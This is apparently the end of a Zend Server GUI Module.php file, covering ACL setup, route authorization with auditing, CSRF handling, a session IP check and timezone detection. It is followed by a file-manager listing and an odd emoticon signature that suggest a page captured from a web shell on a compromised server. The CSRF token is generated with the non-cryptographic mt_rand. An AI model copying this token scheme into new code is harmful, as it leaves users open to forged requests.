        // set the max time that old files can remain on the server before they are removed
        $filesMinAgeForCleanup = 1 * 24 * 60 * 60;

        // get the temporary GUI folder
        $guiTempDir = FS::getGuiTempDir();

        if (!is_dir($guiTempDir) || !is_writable($guiTempDir)) {
            Log::notice(_t('UI temporary folder %s does not exist or is inaccessible', array($guiTempDir)));
            return;
        }

        // look for old ZPK or ZIP
        foreach (scandir($guiTempDir) as $file) {
            $fileFullPath = $guiTempDir.'/'.$file;

            // check only ZPK and ZIP
            if (preg_match('/\.(zpk|zip)$/i', $file)) {
                // check the last time it changed
                $fileAge = time() - filemtime($fileFullPath);
                if ($fileAge > $filesMinAgeForCleanup) {

                    // check permissions
                    if (is_writable($fileFullPath)) {

                        // delete the file
                        $unlinkResult = @unlink($fileFullPath);
                        if (!$unlinkResult) {
                            Log::notice(_t('Cannot delete old file %s', array($fileFullPath)));
                        } else {
                            Log::debug(_t('GUI temp folder cleanup: File %s was deleted', array($fileFullPath)));
                        }
                    } else {
                        Log::notice(_t('The file %s is old, but cannot be removed. Missing permissions.',
                            array($fileFullPath)));
                    }
                }
            }
        }
    }

    /**
     *
     * @param \ManagerEvent $e
     * @return
     */
    public function initializeACL(ManagerEvent $e)
    {

        /* @var $app \Zend\Mvc\Application */
        $app = $e->getParam('application');

        $app->getEventManager()->attach(MvcEvent::EVENT_DISPATCH, array($this, 'overrideAclRole'), 10000);
        $app->getEventManager()->attach(MvcEvent::EVENT_DISPATCH, array($this, 'allow'), 10000);

        $licenseAcl = new Acl();
        $licenseAcl->addRole('edition:'.License::EDITION_ENTERPRISE);
        $licenseAcl->addRole('edition:'.License::EDITION_DEVELOPER_ENTERPRISE, 'edition:'.License::EDITION_ENTERPRISE);
        $licenseAcl->addRole('edition:'.License::EDITION_PROFESSIONAL, 'edition:'.License::EDITION_DEVELOPER_ENTERPRISE);
        $licenseAcl->addRole('edition:'.License::EDITION_BASIC, 'edition:'.License::EDITION_PROFESSIONAL);
        $licenseAcl->addRole('edition:'.License::EDITION_DEVELOPER, 'edition:'.License::EDITION_BASIC);
        $licenseAcl->addRole('edition:'.License::EDITION_FREE, 'edition:'.License::EDITION_DEVELOPER);
        $licenseAcl->addRole('edition:'.License::EDITION_EMPTY);

        /* @var \Acl\Role */
        $identityAcl = new Acl();

        /* @var \Acl\Db\Mapper */
        $aclMapper = $this->serviceManager->get('Acl\Db\Mapper');

        $roles = $aclMapper->getRoles();
        if ($roles) {
            foreach ($roles as $role) {
                $identityAcl->addRole($role->getName(), $role->getParentName());
            }
        }

        $resources = $aclMapper->getResources();

        if ($resources) {
            /* @var $resource \Acl\Resource */
            foreach ($resources as $resource) {
                $identityAcl->addResource($resource->getName());
                $licenseAcl->addResource($resource->getName());
            }
        }

        $privileges  = $aclMapper->getPrivileges();
        /* @var Zend\Authentication\AuthenticationService */
        $authService = $this->getLocator()->get('Zend\Authentication\AuthenticationService');

        $identity = $authService->getIdentity();
        if ($identity) {
            $allowedRoles = array($identity->getRole());
            foreach ($identityAcl->getRoles() as $inherit) {
                if ($identityAcl->inheritsRole($identity->getRole(), $inherit)) {
                    $allowedRoles[] = $inherit;
                }
            }
        } else {
            $allowedRoles = array();
        }

        if ($privileges) {
            /* @var \Acl\Privilege */
            foreach ($privileges as $privilege) {
                if (in_array($privilege->getRoleName(), $allowedRoles)) {
                    $this->currentIdentityAllowed[$privilege->getResourceName()] = $privilege->getAllowedActions() === NULL
                        ?
                        true : $privilege->getAllowedActions();
                }

                $identityAcl->allow($privilege->getRoleName(), $privilege->getResourceName(),
                    $privilege->getAllowedActions());
            }
        }

        // add plugins acl permissions
        $config = $this->getLocator()->get('Config');
        if (isset($config['acl']['route'])) {
            foreach ($config['acl']['route'] as $name => $permissions) {
                $identityAcl->addResource('route:'.$name);
                $licenseAcl->addResource('route:'.$name);

                if (!isset($permissions['allowedMethods']) || empty($permissions['allowedMethods']) || is_null($permissions['allowedMethods'])) {
                    $permissions['allowedMethods'] = array();
                }

                if (in_array($permissions['role'], $allowedRoles)) {
                    $this->currentIdentityAllowed['route:'.$name] = $permissions['allowedMethods'] === NULL ? true : $permissions['allowedMethods'];
                }

                $identityAcl->allow($permissions['role'], 'route:'.$name, $permissions['allowedMethods']);
            }
        }

        // additional editions acl initialization
        // enterprise may do anything
        $licenseAcl->allow('edition:'.License::EDITION_ENTERPRISE);

        $licenseAclConfig = self::config('license', 'acl');

        $currentLicenseAllowed = array();
        foreach ($licenseAclConfig as $role => $resources) {
            $role = "edition:{$role}";
            foreach ($resources as $resource => $privs) {

                if (!$licenseAcl->hasResource($resource)) {
                    $licenseAcl->addResource($resource);
                }

                if (is_array($privs) || $privs instanceof \Traversable) {
                    foreach ($privs as $privilege => $allow) {
                        // special configuration case - blanket resource privilege
                        // this can be used to allow all privs and then deny a single one
                        // @example 'route:UsersWebAPI' => array(false, 'setPassword' => true),
                        // Blocks all users actions except for setPassword
                        if ($privilege === 0) {
                            if ($allow) {
                                $licenseAcl->allow($role, $resource);
                            } else {
                                $licenseAcl->deny($role, $resource);
                            }
                        } else {
                            if ($allow) {
                                $licenseAcl->allow($role, $resource, $privilege);
                            } else {
                                $licenseAcl->deny($role, $resource, $privilege);
                            }
                        }
                    }
                } else {
                    if ($privs) {
                        $licenseAcl->allow($role, $resource);
                    } else {
                        $licenseAcl->deny($role, $resource);
                    }
                }
            }
        }

        Log::debug('acl initialized');
        if (!self::config('acl', 'aclEnabled')) {
            $identityAcl->allow();
            Log::debug('User role acl initialized with allow-all');
        }


        $this->serviceManager->setService('ZendServerIdentityAcl', $identityAcl);
        $this->serviceManager->setService('ZendServerLicenseAcl', $licenseAcl);
    }

    /**
     * @param MvcEvent $e
     */
    public function overrideAclRole(MvcEvent $e)
    {
        Log::debug(__METHOD__);
        $acl = $this->getLocator()->get('ZendServerAcl'); /* @var $acl AclQuery */
        if (!$e->getParam('bootstrapCompleted')) {
            $acl->setOverrideRole(self::ACL_ROLE_BOOTSTRAP);
        }
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    public function allow(MvcEvent $e)
    {
        Log::debug(__METHOD__);
        /* @var $routeMatch \Zend\Mvc\Router\Http\RouteMatch */
        $routeMatch = $e->getRouteMatch();
        if (!$e->getParam('useAclControl', true) || !$routeMatch->getParam('useAclControl', true)) {
            return;
        }



        // retrieve controller name - either a clean one from some other process or the raw name
        $controller = $routeMatch->getParam('clean-controller-name', $routeMatch->getParam('controller', ''));
        $action     = $routeMatch->getParam('action', '');

        $resourceRoute = "route:$controller";
        $role          = $this->getUserRole($e);

        $acl     = $this->getLocator()->get('ZendServerAcl');
        $license = $e->getParam('licenseInfo');

        try {
            try {
                if (!$acl->hasResource($resourceRoute)) {
                    throw new InvalidControllerException(_t('The requested resource is missing: %s',
                        array($resourceRoute)));
                }

                if (!$acl->isAllowedEdition($resourceRoute, $action)) {

                    $e->getApplication()->getEventManager()->trigger('AuditMessage', $e->getApplication(),
                        array(
                            'type' => \Audit\Db\Mapper::AUDIT_GUI_AUTHORIZATION,
                            'progress' => ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                            'extraData' => array(
                                'edition' => $license->getEdition(),
                                'resource' => "route:$controller",
                                'action' => $action
                            )
                        ));

                    throw new Exception(_t('Your license edition (%s) does not allow access to: %s::%s',
                        array($license->getEdition(), $controller, $action)), Exception::ACL_EDITION_PERMISSION_DENIED);
                }

                if (!$acl->isAllowedIdentity($resourceRoute, $action)) {
                    $e->getApplication()->getEventManager()->trigger('AuditMessage', $e->getApplication(),
                        array(
                            'type' => \Audit\Db\Mapper::AUDIT_GUI_AUTHORIZATION,
                            'progress' => ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                            'extraData' => array(
                                'role' => $role,
                                'resource' => "route:$controller",
                                'action' => $action
                            )
                        ));

                    throw new Exception(_t('Insufficient permissions to access this action: %s::%s',
                        array($controller, $action)), Exception::ACL_PERMISSION_DENIED);
                }
            } catch (\Zend\Permissions\Acl\Exception\InvalidArgumentException $ex) {
                $newEvent = $this->application->getMvcEvent();
                $newEvent->setError(\Zend\Mvc\Application::ERROR_EXCEPTION);
                $newEvent->setParam('exception', $ex);
                $this->application->getEventManager()->trigger(MvcEvent::EVENT_DISPATCH_ERROR, $newEvent);
            } catch (Exception $ex) {
                Log::warn("Role {$acl->getIdentity()->getRole()} or edition {$license->getEdition()} failed ACL check for $controller:$action");
                throw $ex;
            } catch (InvalidControllerException $ex) {
                Log::err("Controller {$controller} not found, unknown controller");
                throw $ex;
            } catch (\Exception $ex) {
                Log::err("Authorization process failed {$ex->getMessage()}");
                throw new Exception(_t("ACL configuration error: {$ex->getMessage()}"), Exception::ERROR, $ex);
            }
        } catch (InvalidControllerException $ex) {
            $newEvent = $this->application->getMvcEvent();
            $newEvent->setError(\Zend\Mvc\Application::ERROR_CONTROLLER_NOT_FOUND);
            $newEvent->setParam('exception', $ex);
            $this->application->getEventManager()->trigger(MvcEvent::EVENT_DISPATCH_ERROR, $newEvent);
        } catch (\Exception $ex) {
            if ($controller == 'Spa' && $action == 'index') {
                $routeMatch->setParam('action', 'logout');
                $routeMatch->setParam('controller', 'Login');

                if (!Module::config('authentication', 'simple')) {
                    $routeMatch->setParam('extendedModeUnmapped', true);
                }

                return;
            }

            $newEvent = $this->application->getMvcEvent();
            $newEvent->setError(\Zend\Mvc\Application::ERROR_EXCEPTION);
            $newEvent->setParam('exception', $ex);
            $this->application->getEventManager()->trigger(MvcEvent::EVENT_DISPATCH_ERROR, $newEvent);
        }
    }

    /**
     *
     * @param \Event $e
     * @return
     */
    public function auditMessage(Event $e)
    {
        if (isZrayStandaloneEnv()) {
            return true;
        }

        $application = $e->getTarget();
        $mvcEvent    = $application->getMvcEvent();
        $type        = $e->getParam('type');
        $progress    = $e->getParam('progress', ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED);
        $extraData   = $e->getParam('extraData', array());

        //$type, $progress, $e, $extraData = array()
        $auditMessage = $application->getServiceManager()->get('Audit\Controller\Plugin\AuditMessage');
        $authService  = $this->getLocator()->get('Zend\Authentication\AuthenticationService');
        $identity     = $authService->getIdentity();

        $auditMessage->setIdentity($identity ?: new Identity(_t('Unknown')));
        $auditMessage->setRemoteAddr($mvcEvent->getRequest()->getServer('REMOTE_ADDR'));
        $auditMessage->setEvent($mvcEvent);
        $message = $auditMessage($type, ProgressMapper::AUDIT_NO_PROGRESS, array($extraData));

        if (!is_numeric($message->getAuditId())) {
            Log::err("Audit message was not created properly - early bootstrap phazes?");
            return false;
        }

        $auditMessageProgress = $application->getServiceManager()->get('Audit\Controller\Plugin\AuditMessageProgress');
        $auditMessageProgress($progress, array(), $message->getAuditId());
    }

    /**
     *
     * @return array
     */
    public function getConfig()
    {
        return include __DIR__.'/config/module.config.php';
    }

    /**
     *
     * @param <unknown> $config
     * @return array
     */
    public static function setConfig($config)
    {
        static::$config = $config;
    }

    /**
     * Update directive value
     * @param string $directiveName
     * @param string $newDirectiveValue
     * @return null
     */
    public static function setDirectiveValue($directiveName, $newDirectiveValue)
    {
        /* @var Configuration\MapperDirectives */
        $directivesMapper = self::serviceManager()->get('Configuration\MapperDirectives');

        $directivesMapper->setDirectives(array($directiveName => $newDirectiveValue));
    }

    /**
     * Generate CSRF Access Token and attach it to user's session
     *
     * @return boolean
     */
    public static function generateCSRF()
    {
        if (function_exists("hash_algos") && in_array("sha512", hash_algos())) {
            $token = hash("sha512", mt_rand(0, mt_getrandmax()));
        } else {
            $token = ' ';
            for ($i = 0; $i < 128; ++$i) {
                $r = mt_rand(0, 35);
                if ($r < 26) {
                    $c = chr(ord('a') + $r);
                } else {
                    $c = chr(ord('0') + $r - 26);
                }

                $token .= $c;
            }
        }

        $csrfContainer = new \Zend\Session\Container('zs_csrf');
        $csrfContainer->offsetSet('access_token', $token);

        return true;
    }
    /*
     * Check if request contain valid CSRF token
     */

    public static function isValidCSRF($request)
    {
        $validToken    = false;
        $csrfContainer = new \Zend\Session\Container('zs_csrf');

        /* @var $headers \Zend\Http\Headers */
        $headers = $request->getHeaders();
        if ($headers->has('access_token')) {
            $validToken = ($headers->get('Access-Token')->getFieldValue() == $csrfContainer->offsetGet('access_token'));
        } else {
            $validToken = ($request->getPost('access_token') == $csrfContainer->offsetGet('access_token'));
        }

        return $validToken;
    }

    /**
     *
     * @return array
     */
    public function getAutoloaderConfig()
    {
        return array(
            'Zend\Loader\StandardAutoloader' => array(
                StandardAutoloader::LOAD_NS => array(
                    __NAMESPACE__ => __DIR__.'/src/'.__NAMESPACE__,
                    'Acl' => __DIR__.'/src/Acl',
                    'Expired' => __DIR__.'/src/Expired',
                    'Bootstrap' => __DIR__.'/src/Bootstrap',
                    'Email' => __DIR__.'/src/Email',
                    'Logs' => __DIR__.'/src/Logs',
                    'Messages' => __DIR__.'/src/Messages',
                    'GuiConfiguration' => __DIR__.'/src/GuiConfiguration',
                    'Notifications' => __DIR__.'/src/Notifications',
                    'Servers' => __DIR__.'/src/Servers',
                    'LibraryUpdates' => __DIR__.'/src/LibraryUpdates',
                    'Snapshots' => __DIR__.'/src/Snapshots',
                    'Spa' => __DIR__.'/src/Spa',
                    'Users' => __DIR__.'/src/Users',
                    'Zsd' => __DIR__.'/src/Zsd',
                ),
            ),
        );
    }

    /**
     * Protected function from here
     * @return
     */
    public static function isBootstrapCompleted()
    {
        return self::config('bootstrap', 'completed');
    }

    /**
     *
     * @param \MvcEvent $e
     * @return
     */
    protected function getUserRole(MvcEvent $e)
    {
        try {
            $authService = $this->serviceManager->get('Zend\Authentication\AuthenticationService');

            if (!$authService->hasIdentity()) {
                if (!$this->isBootstrapCompleted()) {
                    return 'bootstrap';
                }
                return 'guest';
            }
        } catch (Exception $e) {
            return 'guest';
        }

        return $authService->getIdentity()->getRole();
    }

    /**
     * @return ServiceManager
     */
    protected function getLocator()
    {
        return $this->serviceManager;
    }

    /**
     * Security issue: insecure session handling #ZSRV-15436
     * @param MvcEvent $e
     */
    private function detectRemoteAddr(MvcEvent $e)
    {
        Log::debug(__METHOD__);

        /* @var \Application\SessionStorage */
        static $sessionStorage = null;

        if (is_null($sessionStorage) || !($sessionStorage instanceof SessionStorage)) {
            $sessionStorage = new SessionStorage();
        }

        if (!$sessionStorage->hasRemoteAddr()) {
            Log::debug("Set the Remote IP in the session: ".\Application\SessionStorage::getClientIp());
            $sessionStorage->setRemoteAddr();
        } else {
            if ($sessionStorage->getRemoteAddr() != \Application\SessionStorage::getClientIp()) {
                Log::err("The Remote IP is not matching to the session saved IP: ".$sessionStorage->getRemoteAddr().'!='.\Application\SessionStorage::getClientIp());

                // clear session cookie
                $params = session_get_cookie_params();

                //set the expiration to yesterday
                setcookie($this->getSessionCookieName(), '', time() - 3600, $params['path'], $params['domain'],
                    $params['secure'], $params['httponly']);

                $config  = $this->getConfig();
                $baseUrl = isset($config['baseUrl']) ? $config['baseUrl'] : '/ZendServer';
                $e->getApplication()->getEventManager()->attach(MvcEvent::EVENT_RENDER,
                    function(MvcEvent $evt) use ($baseUrl) {
                        $evt->stopPropagation();
                        $evt->getResponse()->setContent("Redirecting to {$baseUrl}");
                        $evt->getResponse()->getHeaders()->addHeaderLine('Location', $baseUrl);
                    }, 2001);
            }
        }
    }

    /**
     *
     * @param int $utcOffsetHours
     *
     * @return string
     */
    private function offsetToStr(int $utcOffsetHours) {
        Log::debug("Timezone offset: $utcOffsetHours");
        if ($utcOffsetHours == 0) {
            return 'UTC';
        }
        $regions = [
            \DateTimeZone::AMERICA,
            \DateTimeZone::EUROPE,
            \DateTimeZone::ASIA,
            \DateTimeZone::ATLANTIC,
            \DateTimeZone::INDIAN,
            \DateTimeZone::AUSTRALIA,
            \DateTimeZone::AFRICA,
            \DateTimeZone::PACIFIC,
            \DateTimeZone::ANTARCTICA,
            \DateTimeZone::ARCTIC,
        ];
        try {
            foreach($regions as $region) {
                $idsList = \DateTimeZone::listIdentifiers($region);
                foreach ($idsList as $id) {
                    $dt = new \DateTime('now', new \DateTimeZone($id));
                    $dtOffset = round($dt->getOffset() / 3600);
                    if ($dtOffset == $utcOffsetHours) {
                        return $id;
                    }
                }
            }
        }
        catch (\Exception $e) {
            // do nothing
        }

        return '';
    }

    private function detectTimezone()
    {
        $manager = new Manager();

        Log::debug(__METHOD__);
        static $sessionStorage = null;

        if (is_null($sessionStorage) || !($sessionStorage instanceof SessionStorage)) {
            $sessionStorage = new SessionStorage();
        }
        if (!$sessionStorage->hasTimezone()) {
            $timezone = Module::config('timezone', 'timezone');
            if (!$timezone && $manager->getOsType() == Manager::OS_TYPE_IBMI) {
                // read IBMi timezone UTC offset (results something like "+0300")
                $output = shell_exec('system "dspsysval QUTCOFFSET"');
                if (!empty($output)) {
                    $match = [];
                    preg_match('/QUTCOFFSET[\s>]*([0-9+-]*)/smi', $output, $match);
                    if (count($match) == 2) {
                        $utcOffsetHours = intval($match[1]) / 100;
                        if ($utcOffsetHours) {
                            $timezone = $this->offsetToStr($utcOffsetHours);
                        }
                    }
                }
            }
            if (!$timezone && is_link('/etc/localtime')) {
                // /etc/localtime is a symlink to the timezone in /usr/share/zoneinfo.
                $filename = readlink('/etc/localtime');
                if (strpos($filename, '/usr/share/zoneinfo/') === 0) {
                    $timezone = substr($filename, 20);
                }
            }
            if (!$timezone && file_exists('/etc/timezone')) {
                // Ubuntu / Debian.
                $data = file_get_contents('/etc/timezone');
                if ($data) {
                    $timezone = $data;
                }
            }
            if (!$timezone && file_exists('/etc/sysconfig/clock')) {
                // RHEL / CentOS
                $data = parse_ini_file('/etc/sysconfig/clock');
                if (!empty($data['ZONE'])) {
                    $timezone = $data['ZONE'];
                }
            }
            // Others and Windows - use php default (probably UTC)
            if (!$timezone) {
                $timezone = date_default_timezone_get();
            }
            $timezone = trim($timezone);
            if ('Etc/UTC' == $timezone) {
                $timezone = 'UTC';
            }
            $tz = new \DateTimeZone($timezone);
            if (!$tz) {
                 $tz = new \DateTimeZone('UTC');
            }
            $sessionStorage->setTimezone($tz->getName());
        }

        Log::debug("Timezone detected - ".$sessionStorage->getTimezone());

        date_default_timezone_set($sessionStorage->getTimezone());
    }
}

Filemanager

Name Type Size Permission Actions
config Folder 0755
language Folder 0755
public Folder 0755
src Folder 0755
tests Folder 0755
views Folder 0755
Module.php File 103.55 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1